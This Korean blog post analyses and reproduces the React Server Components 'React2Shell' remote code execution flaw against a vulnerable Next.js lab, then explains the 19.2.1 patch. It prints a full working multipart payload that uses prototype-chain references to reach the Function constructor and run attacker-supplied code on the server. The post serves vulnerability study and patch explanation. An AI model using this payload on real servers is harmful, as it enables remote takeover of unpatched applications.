← All PostsRead in English ↗

React2Shell(CVE-2025-55182) Review

CVE-2025-55182 분석 및 재현

개요

이 글은 작년에 인터넷을 뜨겁게 달궜던 취약점인 React2Shell, CVE-2025-55182의 취약점을 설명 및 재현하는 글이다. React2Shell은 CVSS 3.1 기준 무려 10.0 만점을 받은 취약점이다.

이 글은 취약한 버전을 사용하는 Next.js 서버를 기준으로 하여 작성되었다.

GitHub에서 lab 관련 코드들을 확인할 수 있다.

Flight Protocol

일단 React2Shell의 개념을 이해하기 위해서는 React Server Components의 Flight Protocol을 이해해야 한다. Flight는 React에서 서버와 클라이언트 간에 값을 주고받을때 사용하는 Serialization(직렬화) 형식이다. 서버는 컴포넌트의 렌더링 결과를 Flight 형식에 맞추어 보내고, 클라이언트는 Server Function의 argument를 이 형식으로 송신한다.

React2Shell은 서버가 클라이언트로부터 받은 argument를 해석하는 과정에서 발생하는 취약점이다. Flight에서 서버가 받은 값을 역직렬화하는 과정은 JSON 파싱만으로 끝나지 않는다. 예를 들어 "$1" 같은 문자열은 다른 모델을 참조한다.

예를 들어서 서버가 다음과 같은 필드를 수신했다고 하자.

필드 0 : {"profile" : "$1"}
필드 1 : {"name" : "gl4ss"}

위 데이터를 수신한 서버는 필드 0을 복원하다가, profile의 "$1"을 만나는 순간 필드 1을 찾아서 복원한다. 서버가 복원하여 만들어내는 최종 값은 다음과 같다.

{
profile: {
name: "gl4ss"
}
}

단순한 모델 참조 뿐만 아니라, "$@3"은 3번 ID에 대응하는 Chunk 객체를 반환하고, "$B3"은 FormData에 저장된 Blob을 찾는 등의 기능도 존재한다. React는 데이터를 수신하는 과정에 이 표기를 해석하면서 모델의 값을 복원한다.

parseModelString() 원본 코드

Root Cause

취약한 버전의 Root Cause는 Flight 참조가 읽을 수 있는 속성의 범위를 제한하지 않았다는 것이다. 클라이언트가 보낸 참조는 다른 모델의 값이나 그 안의 속성을 가리키는데, React 19.2.0의 getOutlinedModel()은 속성 경로를 다음과 같이 처리한다.

let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}

대기 중인 참조를 처리하는 createModelResolver() 역시 value = value[path[i]]로 속성을 읽는다.

value[path[i]]는 JS의 일반 속성 조회이기 때문에, 객체가 직접 가지고 있는 속성뿐만 아니라 prototype에서 상속한 속성에도 접근할 수 있게 된다. 재미있는 점은 같은 파일의 reviveModel()은 객체를 순회할 때 hasOwnProperty()로 직접 가진 속성인지 검사하지만, 참조 경로를 읽는 두 함수에는 이 검사가 없었다는 점이다.

getOutlinedModel() 원본 코드, createModelResolver() 원본 코드

Steps To RCE

GitHub Repo에 존재하는 poc.py를 보자. poc.py가 서버에 보내는 payload는 다음과 같다.

{
'0': '$1',
'1': {
'status':'resolved_model',
'reason':0,
'_response':'$4',
'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then':'$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix':'console.log(91455)//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}
}

필드 0의 $1은 1번 모델의 값을 요청하는데, 필드 1은 일반 JSON 객체로 파싱된다. 이 글에서 1번 객체는 이 필드에서 복원된 일반 객체를 의미하고, React가 만든 1번 Chunk와는 별개의 존재이다. 객체 안의 참조까지 풀고 나면 주요 속성은 다음과 같다.

1.status == 'resolved_model'
1.reason == 0
1._response == 4번 필드에서 복원된 가짜 response
1.value == '{"then":"$3:map","0":{"then":"$B3"},"length":1}'
1.then == Chunk.prototype.then

1.then에 Chunk.prototype.then이 들어가는 과정을 보자.

$2:then은 2번 Chunk의 값에서 then을 읽는다. 2번 필드의 $@3은 빈 배열 []가 아니라 3번 Chunk 자체를 반환한다. 따라서 2번 Chunk의 value에는 3번 Chunk 객체가 들어가게 된다.
$@ 처리 원본 코드

따라서 결국 $2:then은 3번 Chunk의 then을 찾게 되는데, 3번 Chunk는 Chunk.prototype을 상속하므로, 읽힌 값은 Chunk.prototype.then이 되는 것이다.

$2:then -> 2번 Chunk.value(3번 Chunk) -> 3번 Chunk.then -> Chunk.prototype.then

0번 Chunk의 then 호출

이번 글에서 target 서버로는 취약한 버전 React를 사용하는 Next.js를 선택했기 때문에, Next.js를 기준으로 작성하였다.

보아야 할 코드는 Next.js 16.0.6의 Node 런타임에서 Multipart Server Action 요청을 처리하는 부분이다.

PoC는 next-action: x 헤더와 multipart 본문을 보낸다. Next.js가 이 요청을 fetch 방식의 Server Action으로 분류하고, 본문을 decodeReplyFromBusboy()에 전달한다. decodeReplyFromBusboy()는 Busboy의 field 이벤트마다 resolveField()를 호출하고, getRoot(response)를 반환한다. getRoot()의 반환값은 0번 Chunk다. 이 요청에는 파일 항목이 없으므로 필드 0부터 4까지가 문자열 필드로 들어간다.

decodeReplyFromBusboy() 원본 코드, getRoot() 원본 코드

await decodeReplyFromBusboy(...)
-> 0번 Chunk.then(resolve, reject)
-> 0번 필드 "$1" 복원
-> 1번 객체 반환

0번 Chunk의 값은 "$1"이 가리키는 1번 필드에서 복원한 일반 객체다. await가 0번 Chunk의 then을 호출하면 React는 값이 준비될 때까지 resolve를 보관한다. 참조가 풀리면 resolve(1번 객체)가 호출된다. 필드가 들어온 순서와 Chunk가 완전히 복원되는 순서는 같지 않다. 아직 없는 필드를 참조하면 그 Chunk를 기다린다.

resolveModelChunk() 원본 함수, getOutlinedModel() 원본 함수

JavaScript는 resolve에 전달된 객체의 then도 확인한다. 1번 객체의 then에는 Chunk.prototype.then이 들어 있다. 이 함수가 1번 객체를 this로 받아 다시 호출된다.

0번 Chunk.then(...)
-> resolve(1번 객체)
-> 1번 객체.then(...)
= Chunk.prototype.then.call(1번 객체, ...)

가짜 Chunk의 value 복원

Chunk.prototype.then은 this.status가 resolved_model이면 initializeModelChunk(this)를 호출한다.

아까 만든 1번 객체를 다시 보자.

1.status == 'resolved_model'
1.reason == 0
1._response == 4번 필드에서 복원된 가짜 response
1.value == '{"then":"$3:map","0":{"then":"$B3"},"length":1}'
1.then == Chunk.prototype.then

1번 객체에는 Chunk.prototype.then에서 사용하는 status와 value, reason, _response가 모두 예쁘게 채워져 있다. React가 만든 진짜 Chunk는 아니지만 이 함수에는 필요한 속성이 알맞게 채워진 상태이다.

Chunk.prototype.then() 원본 함수

initializeModelChunk()의 핵심 부분은 다음과 같다.

const rootReference =
chunk.reason === -1 ? undefined : chunk.reason.toString(16);
const resolvedModel = chunk.value;
chunk.status = CYCLIC;
chunk.value = null;
chunk.reason = null;
const rawModel = JSON.parse(resolvedModel);
const value = reviveModel(
chunk._response, { '': rawModel }, '', rawModel, rootReference
);

여기서 chunk는 1번 객체를 가리킨다. 따라서 다음과 같은 절차가 진행된다.

  • JSON.parse()를 통해 1.value를 객체로 바꾸어 rawModel에 저장 (이전까지는 문자열 상태로 남아 있었음)
  • 1.reason = 0은 rootReference를 "0"으로 만듦
  • reviveModel()의 인자 chunk._response에는 4번 필드에서 만든 가짜 response인 1._response가 전달됨

initializeModelChunk() 원본 함수

가짜 response의 구성

가짜 response의 속성은 다음과 같은 방식으로 생성된다.

'4': {
'_prefix':'console.log(91455)//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}

이로써 생성되는 4번 Chunk의 값에 해당하는 객체는 아래와 같다.

4._prefix == 'console.log(91455)//'
4._formData == { get: Function }
4._chunks == React 내부 response._chunks
  1. 4._prefix의 값에는 그대로 문자열 console.log(91455)//가 들어간다.
  2. 4._formData는 일반 객체로 복원한다. 그 안의 get의 값 '$3:constructor:constructor'는 3번 Chunk의 값에서 속성을 두 번 읽으라는 참조이다. 따라서 다음과 같이 해석이 진행된다.
$3 = []
$3:constructor = []['constructor'] = Array
$3:constructor:constructor = Array['constructor'] = Function

따라서 4._formData.get에는 Function 생성자가 들어가게 된다.

  1. 4._chunks도 하나씩 따라가면 다음과 같다.
$2 == 3번_Chunk
$2:_response == 3번_Chunk._response == React 내부 response
$2:_response:_chunks == 3번_Chunk._response._chunks == React 내부 response._chunks = Chunk Map

참고로 Chunk의 생성자 함수는 다음과 같다.

function Chunk(status, value, reason, response) {
this.status = status;
this.value = value;
this.reason = reason;
this._response = response;
}

3번 Chunk는 React가 입력을 복원할 때 만든 내부 response를 _response에 보관한다. $2:_response:_chunks는 이 속성을 따라가서 내부 response의 Chunk Map을 가져온다. Chunk Map을 가져오는 이유는 이후 1.value에서 $3:map의 처리 과정에 필요하기 때문이다.

1번 객체의 value 복원

다음으로는 1.value에 해당하는 값의 참조가 해석되는 과정을 보자.

1.value = '{"then":"$3:map","0":{"then":"$B3"},"length":1}'

$3:map

안쪽 JSON의 첫 참조 $3:map은 3번 Chunk의 값 []에서 map을 읽는다.

$3 == []
$3:map == []['map'] == Array.prototype.map

이 과정은 1.value의 값에 저장된 JSON을 파싱한 뒤 reviveModel()을 통하여 "$3:map"을 해석한다. 이때 getOutlinedModel()에서 getChunk(1._response, 3)를 호출한다. 1._response._chunks에 Chunk Map을 잘 세팅해 놓았기에, getChunk()는 기존 3번 Chunk를 반환하여 $3이 []를 참조하도록 한다.
비어있는 Array에서 map을 찾으므로 prototype chain에서 찾아내어 $3:map의 값은 Array.prototype.map이 된다.

getChunk() 원본 함수

$B3

다음으로는 $B3를 처리하는 과정이다. $B는 원래 Blob 참조를 처리하는 분기이다. 이 분기는 getChunk()를 호출하지 않고, 전달받은 1._response의 _formData.get()을 직접 호출한다.

$B 분기 원본 코드

const id = parseInt(value.slice(2), 16);
const blobKey = response._prefix + id;
return response._formData.get(blobKey);

실제로는 위와 같은 코드로 Blob 참조를 처리한다. 우리가 보낸 payload를 이 과정에 대입해서 생각해보자.

  1. id 값에는 숫자 3이 저장된다.
  2. blobKey에는 1._response._prefix + id, 즉 "console.log(91455)//3"이 저장된다.
  3. response._formData.get에는 Function 생성자가 들어있다.
  4. 따라서 반환값은 Function('console.log(91455)//3')가 되는 것이다.
    JavaScript에서 //는 주석 처리이므로, 뒤의 3은 주석 처리가 된다.

결과적으로 1.value에 저장되게 되는 객체는 다음과 같다.

{
then: Array.prototype.map,
0: { then: Function('console.log(91455)//3') },
length: 1
}

thenable chain

이제 준비물은 모두 끝났다. $B3에서 Function('console.log(91455)//3')을 호출해 함수를 만들었으니, 이제 이 함수만 실행하면 RCE가 완성되는 것이다.

Chunk.prototype.then은 복원된 1.value를 resolve에 전달한다.

Chunk.prototype.then() 원본 코드

case INITIALIZED:
resolve(chunk.value);
break

이때 전달되는 값은 1.value에 저장되는 객체로, 다시 한번 보면 다음과 같다.

{
then: Array.prototype.map,
0: { then: Function('console.log(91455)//3') },
length: 1
}

이 객체에는 then이 있으므로 JavaScript가 다시 then을 호출한다. 호출되는 함수는 Array.prototype.map이다. map은 배열이 아닌 객체도 length와 숫자 키가 있으면 처리할 수 있다. 여기서는 length가 1이고 0번 값이 있으므로, 그 값에 대해 콜백을 한 번 호출한다.

1.value.then(resolve, reject)
== Array.prototype.map.call(1.value, resolve, reject)

map의 첫 번째 인자에는 Promise가 전달한 resolve가 들어간다. 따라서 map은 0번 값을 읽어 다음과 같은 형태로 호출한다. 두 번째 인자인 reject는 map의 thisArg 자리에 들어간다.

resolve(1.value[0], 0, 1.value)

0번 값도 then을 가진 객체다. 그 then에는 $B3에서 만든 함수가 들어 있다. JavaScript가 이 객체를 다시 thenable로 처리하면서 그 함수를 호출한다. 이 시점에 함수 본문의 console.log(91455)가 실행되는 경로가 만들어진다.
경로를 정리하면 다음과 같다.

1번 객체의 then 호출
-> resolve(1.value)
-> Array.prototype.map 호출
-> resolve(1.value[0])
-> 1.value[0]의 then 호출
-> $B3에서 만든 함수 실행

로컬 서버 로그의 91455 출력과 Python PoC의 ReadTimeout

로컬 취약 서버를 대상으로 poc.py를 실행한 화면이다. 서버 로그에는 91455가 출력되어, PoC에 넣은 코드가 서버에서 실행됐음을 확인할 수 있다.

19.2.1 패치

19.2.0의 getOutlinedModel()은 경로에 적힌 속성을 본인이 직접 가지고 있는 속성인지 검사하지 않고 그대로 읽었다. 대기 중인 참조를 처리하는 createModelResolver() 역시 같은 방식으로 읽었던 것이 Root Cause였다.

value = value[path[i]];

이로 인해 빈 배열의 constructor, map처럼 prototype에서 상속한 속성도 이 코드로 읽을 수 있었다. 19.2.1은 이 부분을 패치하여, 중간 값이 ReactPromise이면 먼저 그 값을 꺼내고, 객체가 직접 가지고 있는 속성만 읽는다. 준비된 참조는 getOutlinedModel()에서, 대기 중이던 참조는 fulfillReference()에서 이 검사를 거친다.

19.2.0 원본 코드, 19.2.1 getOutlinedModel(), 19.2.1 fulfillReference()

// 19.2.1의 속성 조회 부분
const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}

이제 앞의 PoC에서 사용한 참조를 다시 따라가 보자.

  1. $3:constructor:constructor는 3번 Chunk의 값인 []에서 constructor를 찾는다. 빈 배열은 constructor를 직접 가지고 있지 않다. 검사에 실패하면 value는 []인 채로 남는다. 따라서 4._formData.get에 Function을 넣지 못한다.
  2. $2:_response:_chunks에서 2번 Chunk의 값은 3번 Chunk다. 19.2.1은 다음 속성을 읽기 전에 이 Chunk를 값 []로 푼다. 빈 배열에는 _response가 없으므로 React 내부 response의 Chunk Map을 가져오지 못한다.
  3. $2:then은 2번 Chunk가 아직 대기 중일 때 참조가 걸린다. fulfillReference()는 2번 Chunk의 값인 3번 Chunk가 준비될 때까지 기다렸다가, 그 값을 []로 풀고 then을 찾는다. 빈 배열에는 직접 가진 then이 없다. 따라서 1번 객체의 then에 Chunk.prototype.then이 들어가지 않는다.
$3:constructor:constructor -> [] (Function에 도달하지 못함)
$2:_response:_chunks -> [] (Chunk Map에 도달하지 못함)
$2:then -> [] (Chunk.prototype.then에 도달하지 못함)

위의 []는 속성 검사가 실패했을 때 읽던 값이 그대로 남은 결과이다. 이 PoC에서는 1번 객체의 then이 함수가 아니므로, 앞에서 설명한 두 번째 initializeModelChunk() 호출이 이어지지 않는다. $3:map과 $B3이 들어 있는 안쪽 JSON도 그 경로에서는 복원되지 않는다.

자료